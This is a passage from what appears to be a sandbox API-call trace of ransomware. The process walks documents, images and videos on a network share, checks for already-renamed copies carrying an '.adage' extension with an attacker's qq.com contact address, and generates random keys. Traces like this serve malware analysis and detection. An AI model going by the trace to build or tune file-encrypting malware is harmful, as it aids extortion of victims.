dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x14c [0045.655] GetFileSizeEx (in: hFile=0x14c, lpFileSize=0x2c4fec8 | out: lpFileSize=0x2c4fec8*=51676) returned 1 [0045.655] CloseHandle (hObject=0x14c) returned 1 [0045.655] GetFileAttributesW (lpFileName="\\\\?\\UNC\\192.168.0.1\\documents\\NnhUiKm1fKnUDbh8LQYp.mp4" (normalized: "\\\\192.168.0.1\\documents\\nnhuikm1fknudbh8lqyp.mp4")) returned 0x80 [0045.655] GetFileAttributesW (lpFileName="\\\\?\\UNC\\192.168.0.1\\documents\\NnhUiKm1fKnUDbh8LQYp.mp4.id[8443A5AF-2250].[wewillhelpyou@qq.com].adage" (normalized: "\\\\192.168.0.1\\documents\\nnhuikm1fknudbh8lqyp.mp4.id[8443a5af-2250].[wewillhelpyou@qq.com].adage")) returned 0xffffffff [0045.655] CreateFileW (lpFileName="\\\\?\\UNC\\192.168.0.1\\documents\\NnhUiKm1fKnUDbh8LQYp.mp4" (normalized: "\\\\192.168.0.1\\documents\\nnhuikm1fknudbh8lqyp.mp4"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0045.660] CryptGenRandom (in: hProv=0x735018, dwLen=0x10, pbBuffer=0x2c4ff30 | out: pbBuffer=0x2c4ff30) returned 1 [0045.660] CreateFileW (lpFileName="\\\\?\\UNC\\192.168.0.1\\documents\\WVJ9AocI35l55mCp.jpg" (normalized: "\\\\192.168.0.1\\documents\\wvj9aoci35l55mcp.jpg"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x14c [0045.661] GetFileSizeEx (in: hFile=0x14c, lpFileSize=0x2c4fec8 | out: lpFileSize=0x2c4fec8*=70113) returned 1 [0045.661] CloseHandle (hObject=0x14c) returned 1 [0045.661] GetFileAttributesW (lpFileName="\\\\?\\UNC\\192.168.0.1\\documents\\WVJ9AocI35l55mCp.jpg" (normalized: "\\\\192.168.0.1\\documents\\wvj9aoci35l55mcp.jpg")) returned 0x80 [0045.662] GetFileAttributesW (lpFileName="\\\\?\\UNC\\192.168.0.1\\documents\\WVJ9AocI35l55mCp.jpg.id[8443A5AF-2250].[wewillhelpyou@qq.com].adage" (normalized: "\\\\192.168.0.1\\documents\\wvj9aoci35l55mcp.jpg.id[8443a5af-2250].[wewillhelpyou@qq.com].adage")) returned 0xffffffff [0045.662] CreateFileW (lpFileName="\\\\?\\UNC\\192.168.0.1\\documents\\WVJ9AocI35l55mCp.jpg" (normalized: "\\\\192.168.0.1\\documents\\wvj9aoci35l55mcp.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0045.713] CryptGenRandom (in: hProv=0x735018, dwLen=0x10, pbBuffer=0x2c4ff30 | out: pbBuffer=0x2c4ff30) returned 1 [0045.713] CreateFileW (lpFileName="\\\\?\\UNC\\192.168.0.1\\documents\\G7UtZQV2KEwEgGRw.csv" (normalized: "\\\\192.168.0.1\\documents\\g7utzqv2keweggrw.csv"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x14c [0045.715] GetFileSizeEx (in: hFile=0x14c, lpFileSize=0x2c4fec8 | out: lpFileSize=0x2c4fec8*=46220) returned 1 [0045.715] CloseHandle (hObject=0x14c) returned 1 [0045.715] GetFileAttributesW (lpFileName="\\\\?\\UNC\\192.168.0.1\\documents\\G7UtZQV2KEwEgGRw.csv" (normalized: "\\\\192.168.0.1\\documents\\g7utzqv2keweggrw.csv")) returned 0x80 [0045.715] GetFileAttributesW (lpFileName="\\\\?\\UNC\\192.168.0.1\\documents\\G7UtZQV2KEwEgGRw.csv.id[8443A5AF-2250].[wewillhelpyou@qq.com].adage" (normalized: "\\\\192.168.0.1\\documents\\g7utzqv2keweggrw.csv.id[8443a5af-2250].[wewillhelpyou@qq.com].adage")) returned 0xffffffff [0045.715] CreateFileW (lpFileName="\\\\?\\UNC\\192.168.0.1\\documents\\G7UtZQV2KEwEgGRw.csv" (normalized: "\\\\192.168.0.1\\documents\\g7utzqv2keweggrw.csv"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0045.720] CryptGenRandom (in: hProv=0x735018, dwLen=0x10, pbBuffer=0x2c4ff30 | out: pbBuffer=0x2c4ff30) returned 1 [0045.720] CreateFileW (lpFileName="\\\\?\\UNC\\192.168.0.1\\documents\\03oNIO07eJKfFtSq1le.pdf" (normalized: "\\\\192.168.0.1\\documents\\03onio07ejkfftsq1le.pdf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x14c [0045.785] GetFileSizeEx (in: hFile=0x14c, lpFileSize=0x2c4fec8 | out: lpFileSize=0x2c4fec8*=61827) returned 1 [0045.785] CloseHandle (hObject=0x14c) returned 1 [0045.785] GetFileAttributesW (lpFileName="\\\\?\\UNC\\192.168.0.1\\documents\\03oNIO07eJKfFtSq1le.pdf" (normalized: "\\\\192.168.0.1\\documents\\03onio07ejkfftsq1le.pdf")) returned 0x80 [0045.786] GetFileAttributesW (lpFileName="\\\\?\\UNC\\192.168.0.1\\documents\\03oNIO07eJKfFtSq1le.pdf.id[8443A5AF-2250].[wewillhelpyou@qq.com].adage" (normalized: "\\\\192.168.0.1\\documents\\03onio07ejkfftsq1le.pdf.id[8443a5af-2250].[wewillhelpyou@qq.com].adage")) returned 0xffffffff [0045.786] CreateFileW (lpFileName="\\\\?\\UNC\\192.168.0.1\\documents\\03oNIO07eJKfFtSq1le.pdf" (normalized: "\\\\192.168.0.1\\documents\\03onio07ejkfftsq1le.pdf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0046.243] CryptGenRandom (in: hProv=0x735018, dwLen=0x10, pbBuffer=0x2c4ff30 | out: pbBuffer=0x2c4ff30) returned 1 [0046.243] CreateFileW (lpFileName="\\\\?\\UNC\\192.168.0.1\\documents\\SqAk5x9DCd1vbqL.xls" (normalized: "\\\\192.168.0.1\\documents\\sqak5x9dcd1vbql.xls"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x14c [0046.340] GetFileSizeEx (in: hFile=0x14c, lpFileSize=0x2c4fec8 | out: lpFileSize=0x2c4fec8*=31189) returned 1 [0046.340] CloseHandle (hObject=0x14c) returned 1 [0046.340] GetFileAttributesW (lpFileName="\\\\?\\UNC\\192.168.0.1\\documents\\SqAk5x9DCd1vbqL.xls" (normalized: "\\\\192.168.0.1\\documents\\sqak5x9dcd1vbql.xls")) returned 0x80 [0046.340] GetFileAttributesW (lpFileName="\\\\?\\UNC\\192.168.0.1\\documents\\SqAk5x9DCd1vbqL.xls.id[8443A5AF-2250].[wewillhelpyou@qq.com].adage" (normalized: "\\\\192.168.0.1\\documents\\sqak5x9dcd1vbql.xls.id[8443a5af-2250].[wewillhelpyou@qq.com].adage")) returned 0xffffffff [0046.340] CreateFileW (lpFileName="\\\\?\\UNC\\192.168.0.1\\documents\\SqAk5x9DCd1vbqL.xls" (normalized: "\\\\192.168.0.1\\documents\\sqak5x9dcd1vbql.xls"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0046.348] CryptGenRandom (in: hProv=0x735018, dwLen=0x10, pbBuffer=0x2c4ff30 | out: pbBuffer=0x2c4ff30) returned 1 [0046.348] CreateFileW (lpFileName="\\\\?\\UNC\\192.168.0.1\\documents\\CUAALsfvQ.odp" (normalized: "\\\\192.168.0.1\\documents\\cuaalsfvq.odp"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x14c [0046.349] GetFileSizeEx (in: hFile=0x14c, lpFileSize=0x2c4fec8 | out: lpFileSize=0x2c4fec8*=62736) returned 1 [0046.350] CloseHandle (hObject=0x14c) returned 1 [0046.350] GetFileAttributesW (lpFileName="\\\\?\\UNC\\192.168.0.1\\documents\\CUAALsfvQ.odp" (normalized: "\\\\192.168.0.1\\documents\\cuaalsfvq.odp")) returned 0x80 [0046.350] GetFileAttributesW (lpFileName="\\\\?\\UNC\\192.168.0.1\\documents\\CUAALsfvQ.odp.id[8443A5AF-2250].[wewillhelpyou@qq.com].adage" (normalized: "\\\\192.168.0.1\\documents\\cuaalsfvq.odp.id[8443a5af-2250].[wewillhelpyou@qq.com].adage")) returned 0xffffffff [0046.350] CreateFileW (lpFileName="\\\\?\\UNC\\192.168.0.1\\documents\\CUAALsfvQ.odp" (normalized: "\\\\192.168.0.1\\documents\\cuaalsfvq.odp"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0046.356] CryptGenRandom (in: hProv=0x735018, dwLen=0x10, pbBuffer=0x2c4ff30 | out: pbBuffer=0x2c4ff30) returned 1 [0046.356] CreateFileW (lpFileName="\\\\?\\UNC\\192.168.0.1\\documents\\HwIsy.png" (normalized: "\\\\192.168.0.1\\documents\\hwisy.png"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x14c [0046.358] GetFileSizeEx (in: hFile=0x14c, lpFileSize=0x2c4fec8 | out: lpFileSize=0x2c4fec8*=51698) returned 1 [0046.358] CloseHandle (hObject=0x14c) returned 1 [0046.359] GetFileAttributesW (lpFileName="\\\\?\\UNC\\192.168.0.1\\documents\\HwIsy.png" (normalized: "\\\\192.168.0.1\\documents\\hwisy.png")) returned 0x80 [0046.359] GetFileAttributesW (lpFileName="\\\\?\\UNC\\192.168.0.1\\documents\\HwIsy.png.id[8443A5AF-2250].[wewillhelpyou@qq.com].adage" (normalized: "\\\\192.168.0.1\\documents\\hwisy.png.id[8443a5af-2250].[wewillhelpyou@qq.com].adage")) returned 0xffffffff [0046.359] CreateFileW (lpFileName="\\\\?\\UNC\\192.168.0.1\\documents\\HwIsy.png" (normalized: "\\\\192.168.0.1\\documents\\hwisy.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0046.363] CryptGenRandom (in: hProv=0x735018, dwLen=0x10, pbBuffer=0x2c4ff30 | out: pbBuffer=0x2c4ff30) returned 1 [0046.363] CreateFileW (lpFileName="\\\\?\\UNC\\192.168.0.1\\documents\\Mro5NomIUcrU.gif" (normalized: "\\\\192.168.0.1\\documents\\mro5nomiucru.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x14c [0046.365] GetFileSizeEx (in: hFile=0x14c, lpFileSize=0x2c4fec8 | out: lpFileSize=0x2c4fec8*=47889) returned 1 [0046.365] CloseHandle (hObject=0x14c) returned 1 [0046.365] GetFileAttributesW (lpFileName="\\\\?\\UNC\\192.168.0.1\\documents\\Mro5NomIUcrU.gif" (normalized: "\\\\192.168.0.1\\documents\\mro5nomiucru.gif")) returned 0x80 [0046.365] GetFileAttributesW (lpFileName="\\\\?\\UNC\\192.168.0.1\\documents\\Mro5NomIUcrU.gif.id[8443A5AF-2250].[wewillhelpyou@qq.com].adage" (normalized: "\\\\192.168.0.1\\documents\\mro5nomiucru.gif.id[8443a5af-2250].[wewillhelpyou@qq.com].adage")) returned 0xffffffff [0046.365] CreateFileW (lpFileName="\\\\?\\UNC\\192.168.0.1\\documents\\Mro5NomIUcrU.gif" (normalized: "\\\\192.168.0.1\\documents\\mro5nomiucru.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0046.412] CryptGenRandom (in: hProv=0x735018, dwLen=0x10, pbBuffer=0x2c4ff30 | out: pbBuffer=0x2c4ff30) returned 1 [0046.412] CreateFileW (lpFileName="\\\\?\\UNC\\192.168.0.1\\documents\\cYAzuw.flv" (normalized: "\\\\192.168.0.1\\documents\\cyazuw.flv"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x14c [0046.431] GetFileSizeEx (in: hFile=0x14c, lpFileSize=0x2c4fec8 | out: lpFileSize=0x2c4fec8*=83515) returned 1 [0046.431] CloseHandle (hObject=0x14c) returned 1 [0046.432] GetFileAttributesW (lpFileName="\\\\?\\UNC\\192.168.0.1\\documents\\cYAzuw.flv" (normalized: "\\\\192.168.0.1\\documents\\cyazuw.flv")) returned 0x80 [0046.433] GetFileAttributesW (lpFileName="\\\\?\\UNC\\192.168.0.1\\documents\\cYAzuw.flv.id[8443A5AF-2250].[wewillhelpyou@qq.com].adage" (normalized: "\\\\192.168.0.1\\documents\\cyazuw.flv.id[8443a5af-2250].[wewillhelpyou@qq.com].adage")) returned 0xffffffff [0046.433] CreateFileW (lpFileName="\\\\?\\UNC\\192.168.0.1\\documents\\cYAzuw.flv" (normalized: "\\\\192.168.0.1\\documents\\cyazuw.flv"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0046.567] CryptGenRandom (in: hProv=0x735018, dwLen=0x10, pbBuffer=0x2c4ff30 | out: pbBuffer=0x2c4ff30) returned 1 [0046.567] CreateFileW (lpFileName="\\\\?\\UNC\\192.168.0.1\\documents\\ziRSYvhMQo.gif" (normalized: "\\\\192.168.0.1\\documents\\zirsyvhmqo.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x14c [0046.572] GetFileSizeEx (in: hFile=0x14c, lpFileSize=0x2c4fec8 | out: lpFileSize=0x2c4fec8*=38399) returned 1 [0046.572] CloseHandle (hObject=0x14c) returned 1 [0046.572] GetFileAttributesW (lpFileName="\\\\?\\UNC\\192.168.0.1\\documents\\ziRSYvhMQo.gif" (normalized: "\\\\192.168.0.1\\documents\\zirsyvhmqo.gif")) returned 0x80 [0046.573] GetFileAttributesW (lpFileName="\\\\?\\UNC\\192.168.0.1\\documents\\ziRSYvhMQo.gif.id[8443A5AF-2250].[wewillhelpyou@qq.com].adage" (normalized: "\\\\192.168.0.1\\documents\\zirsyvhmqo.gif.id[8443a5af-2250].[wewillhelpyou@qq.com].adage")) returned 0xffffffff [0046.573] CreateFileW (lpFileName="\\\\?\\UNC\\192.168.0.1\\documents\\ziRSYvhMQo.gif" (normalized: "\\\\192.168.0.1\\documents\\zirsyvhmqo.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0046.613] CryptGenRandom (in: hProv=0x735018, dwLen=0x10, pbBuffer=0x2c4ff30 | out: pbBuffer=0x2c4ff30) returned 1 [0046.613] CreateFileW (lpFileName="\\\\?\\UNC\\192.168.0.1\\documents\\ZyT73XuoM.png" (normalized: "\\\\192.168.0.1\\documents\\zyt73xuom.png"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x14c [0046.615] GetFileSizeEx (in: hFile=0x14c, lpFileSize=0x2c4fec8 | out: lpFileSize=0x2c4fec8*=70454) returned 1 [0046.615] CloseHandle (hObject=0x14c) returned 1 [0046.615] GetFileAttributesW (lpFileName="\\\\?\\UNC\\192.168.0.1\\documents\\ZyT73XuoM.png" (normalized: "\\\\192.168.0.1\\documents\\zyt73xuom.png")) returned 0x80 [0046.616] GetFileAttributesW (lpFileName="\\\\?\\UNC\\192.168.0.1\\documents\\ZyT73XuoM.png.id[8443A5AF-2250].[wewillhelpyou@qq.com].adage" (normalized: "\\\\192.168.0.1\\documents\\zyt73xuom.png.id[8443a5af-2250].[wewillhelpyou@qq.com].adage")) returned 0xffffffff [0046.616] CreateFileW (lpFileName="\\\\?\\UNC\\192.168.0.1\\documents\\ZyT73XuoM.png" (normalized: "\\\\192.168.0.1\\documents\\zyt73xuom.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0046.630] CryptGenRandom (in: hProv=0x735018, dwLen=0x10, pbBuffer=0x2c4ff30 | out: pbBuffer=0x2c4ff30) returned 1 [0046.631] CreateFileW (lpFileName="\\\\?\\UNC\\192.168.0.1\\documents\\YfJ9v2Plxllw22M.pps" (normalized: "\\\\192.168.0.1\\documents\\yfj9v2plxllw22m.pps"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x14c [0046.633] GetFileSizeEx (in: hFile=0x14c, lpFileSize=0x2c4fec8 | out: lpFileSize=0x2c4fec8*=48167) returned 1 [0046.633] CloseHandle (hObject=0x14c) returned 1 [0046.633] GetFileAttributesW (lpFileName="\\\\?\\UNC\\192.168.0.1\\documents\\YfJ9v2Plxllw22M.pps" (normalized: "\\\\192.168.0.1\\documents\\yfj9v2plxllw22m.pps")) returned 0x80 [0046.633] GetFileAttributesW (lpFileName="\\\\?\\UNC\\192.168.0.1\\documents\\YfJ9v2Plxllw22M.pps.id[8443A5AF-2250].[wewillhelpyou@qq.com].adage" (normalized: "\\\\192.168.0.1\\documents\\yfj9v2plxllw22m.pps.id[8443a5af-2250].[wewillhelpyou@qq.com].adage")) returned 0xffffffff [0046.633] CreateFileW (lpFileName="\\\\?\\UNC\\192.168.0.1\\documents\\YfJ9v2Plxllw22M.pps" (normalized: "\\\\192.168.0.1\\documents\\yfj9v2plxllw22m.pps"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0046.645] CryptGenRandom (in: hProv=0x735018, dwLen=0x10, pbBuffer=0x2c4ff30 | out: pbBuffer=0x2c4ff30) returned 1 [0046.645] CreateFileW (lpFileName="\\\\?\\UNC\\192.168.0.1\\documents\\lhOcmpk4G7IYSvvb.gif" (normalized: "\\\\192.168.0.1\\documents\\lhocmpk4g7iysvvb.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x14c [0046.647] GetFileSizeEx (in: hFile=0x14c, lpFileSize=0x2c4fec8 | out: lpFileSize=0x2c4fec8*=50675) returned 1 [0046.647] CloseHandle (hObject=0x14c) returned 1 [0046.647] GetFileAttributesW (lpFileName="\\\\?\\UNC\\192.168.0.1\\documents\\lhOcmpk4G7IYSvvb.gif" (normalized: "\\\\192.168.0.1\\documents\\lhocmpk4g7iysvvb.gif")) returned 0x80 [0046.647] GetFileAttributesW (lpFileName="\\\\?\\UNC\\192.168.0.1\\documents\\lhOcmpk4G7IYSvvb.gif.id[8443A5AF-2250].[wewillhelpyou@qq.com].adage" (normalized: "\\\\192.168.0.1\\documents\\lhocmpk4g7iysvvb.gif.id[8443a5af-2250].[wewillhelpyou@qq.com].adage")) returned 0xffffffff [0046.648] CreateFileW (lpFileName="\\\\?\\UNC\\192.168.0.1\\documents\\lhOcmpk4G7IYSvvb.gif" (normalized: "\\\\192.168.0.1\\documents\\lhocmpk4g7iysvvb.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0046.652] CryptGenRandom (in: hProv=0x735018, dwLen=0x10, pbBuffer=0x2c4ff30 | out: pbBuffer=0x2c4ff30) returned 1 [0046.652] CreateFileW (lpFileName="\\\\?\\UNC\\192.168.0.1\\documents\\f8MOguJ.mkv" (normalized: "\\\\192.168.0.1\\documents\\f8moguj.mkv"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x14c [0046.655] GetFileSizeEx (in: hFile=0x14c, lpFileSize=0x2c4fec8 | out: lpFileSize=0x2c4fec8*=80177) returned 1 [0046.681] CloseHandle (hObject=0x14c) returned 1 [0046.681] GetFileAttributesW (lpFileName="\\\\?\\UNC\\192.168.0.1\\documents\\f8MOguJ.mkv" (normalized: "\\\\192.168.0.1\\documents\\f8moguj.mkv")) returned 0x80 [0046.681] GetFileAttributesW (lpFileName="\\\\?\\UNC\\192.168.0.1\\documents\\f8MOguJ.mkv.id[8443A5AF-2250].[wewillhelpyou@qq.com].adage" (normalized: "\\\\192.168.0.1\\documents\\f8moguj.mkv.id[8443a5af-2250].[wewillhelpyou@qq.com].adage")) returned 0xffffffff [0046.682] CreateFileW (lpFileName="\\\\?\\UNC\\192.168.0.1\\documents\\f8MOguJ.mkv" (normalized: "\\\\192.168.0.1\\documents\\f8moguj.mkv"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0046.686] CryptGenRandom (in: hProv=0x735018, dwLen=0x10, pbBuffer=0x2c4ff30 | out: pbBuffer=0x2c4ff30) returned 1 [0046.686] CreateFileW (lpFileName="\\\\?\\UNC\\192.168.0.1\\documents\\woWNv.ods" (normalized: "\\\\192.168.0.1\\documents\\wownv.ods"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x14c [0046.687] GetFileSizeEx (in: hFile=0x14c, lpFileSize=0x2c4fec8 | out: lpFileSize=0x2c4fec8*=54283) returned 1 [0046.687] CloseHandle (hObject=0x14c) returned 1 [0046.687] GetFileAttributesW (lpFileName="\\\\?\\UNC\\192.168.0.1\\documents\\woWNv.ods" (normalized: "\\\\192.168.0.1\\documents\\wownv.ods")) returned 0x80 [0046.688] GetFileAttributesW (lpFileName="\\\\?\\UNC\\192.168.0.1\\documents\\woWNv.ods.id[8443A5AF-2250].[wewillhelpyou@qq.com].adage" (normalized: "\\\\192.168.0.1\\documents\\wownv.ods.id[8443a5af-2250].[wewillhelpyou@qq.com].adage")) returned 0xffffffff [0046.688] CreateFileW (lpFileName="\\\\?\\UNC\\192.168.0.1\\documents\\woWNv.ods" (normalized: "\\\\192.168.0.1\\documents\\wownv.ods"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0046.690] CryptGenRandom (in: hProv=0x735018, dwLen=0x10, pbBuffer=0x2c4ff30 | out: pbBuffer=0x2c4ff30) returned 1 [0046.690] CreateFileW (lpFileName="\\\\?\\UNC\\192.168.0.1\\documents\\O2TDqFynLaMJwyS.avi" (normalized: "\\\\192.168.0.1\\documents\\o2tdqfynlamjwys.avi"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x14c [0046.692] GetFileSizeEx (in: hFile=0x14c, lpFileSize=0x2c4fec8 | out: lpFileSize=0x2c4fec8*=73241) returned 1 [0046.692] CloseHandle (hObject=0x14c) returned 1 [0046.692] GetFileAttributesW (lpFileName="\\\\?\\UNC\\192.168.0.1\\documents\\O2TDqFynLaMJwyS.avi" (normalized: "\\\\192.168.0.1\\documents\\o2tdqfynlamjwys.avi")) returned 0x80 [0046.693] GetFileAttributesW (lpFileName="\\\\?\\UNC\\192.168.0.1\\documents\\O2TDqFynLaMJwyS.avi.id[8443A5AF-2250].[wewillhelpyou@qq.com].adage" (normalized: "\\\\192.168.0.1\\documents\\o2tdqfynlamjwys.avi.id[8443a5af-2250].[wewillhelpyou@qq.com].adage")) returned 0xffffffff [0046.693] CreateFileW (lpFileName="\\\\?\\UNC\\192.168.0.1\\documents\\O2TDqFynLaMJwyS.avi" (normalized: "\\\\192.168.0.1\\documents\\o2tdqfynlamjwys.avi"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0046.695] CryptGenRandom (in: hProv=0x735018, dwLen=0x10, pbBuffer=0x2c4ff30 | out: pbBuffer=0x2c4ff30) returned 1 [0046.695] CreateFileW (lpFileName="\\\\?\\UNC\\192.168.0.1\\documents\\hRvB1xDrUsAHG.flv" (normalized: "\\\\192.168.0.1\\documents\\hrvb1xdrusahg.flv"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x14c [0046.698] GetFileSizeEx (in: hFile=0x14c, lpFileSize=0x2c4fec8 | out: lpFileSize=0x2c4fec8*=34534) returned 1 [0046.698] CloseHandle (hObject=0x14c) returned 1 [0046.698] GetFileAttributesW (lpFileName="\\\\?\\UNC\\192.168.0.1\\documents\\hRvB1xDrUsAHG.flv" (normalized: "\\\\192.168.0.1\\documents\\hrvb1xdrusahg.flv")) returned 0x80 [0046.698] GetFileAttributesW (lpFileName="\\\\?\\UNC\\192.168.0.1\\documents\\hRvB1xDrUsAHG.flv.id[8443A5AF-2250].[wewillhelpyou@qq.com].adage" (normalized: "\\\\192.168.0.1\\documents\\hrvb1xdrusahg.flv.id[8443a5af-2250].[wewillhelpyou@qq.com].adage")) returned 0xffffffff [0046.698] CreateFileW (lpFileName="\\\\?\\UNC\\192.168.0.1\\documents\\hRvB1xDrUsAHG.flv" (normalized: "\\\\192.168.0.1\\documents\\hrvb1xdrusahg.flv"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0046.701] CryptGenRandom (in: hProv=0x735018, dwLen=0x10, pbBuffer=0x2c4ff30 | out: pbBuffer=0x2c4ff30) returned 1 [0046.701] CreateFileW (lpFileName="\\\\?\\UNC\\192.168.0.1\\documents\\foUlybK2h.xlsx" (normalized: "\\\\192.168.0.1\\documents\\foulybk2h.xlsx"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x14c [0047.009] GetFileSizeEx (in: hFile=0x14c, lpFileSize=0x2c4fec8 | out: lpFileSize=0x2c4fec8*=52286) returned 1 [0047.009] CloseHandle (hObject=0x14c) returned 1 [0047.009] GetFileAttributesW (lpFileName="\\\\?\\UNC\\192.168.0.1\\documents\\foUlybK2h.xlsx" (normalized: "\\\\192.168.0.1\\documents\\foulybk2h.xlsx")) returned 0x80 [0047.010] GetFileAttributesW (lpFileName="\\\\?\\UNC\\192.168.0.1\\documents\\foUlybK2h.xlsx.id[8443A5AF-2250].[wewillhelpyou@qq.com].adage" (normalized: "\\\\192.168.0.1\\documents\\foulybk2h.xlsx.id[8443a5af-2250].[wewillhelpyou@qq.com].adage")) returned 0xffffffff [0047.010] CreateFileW (lpFileName="\\\\?\\UNC\\192.168.0.1\\documents\\foUlybK2h.xlsx" (normalized: "\\\\192.168.0.1\\documents\\foulybk2h.xlsx"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0047.051] CryptGenRandom (in: hProv=0x735018, dwLen=0x10, pbBuffer=0x2c4ff30 | out: pbBuffer=0x2c4ff30) returned 1 [0047.052] CreateFileW (lpFileName="\\\\?\\UNC\\192.168.0.1\\documents\\IZnOWmy.gif" (normalized: "\\\\192.168.0.1\\documents\\iznowmy.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x14c [0047.061] GetFileSizeEx (in: hFile=0x14c, 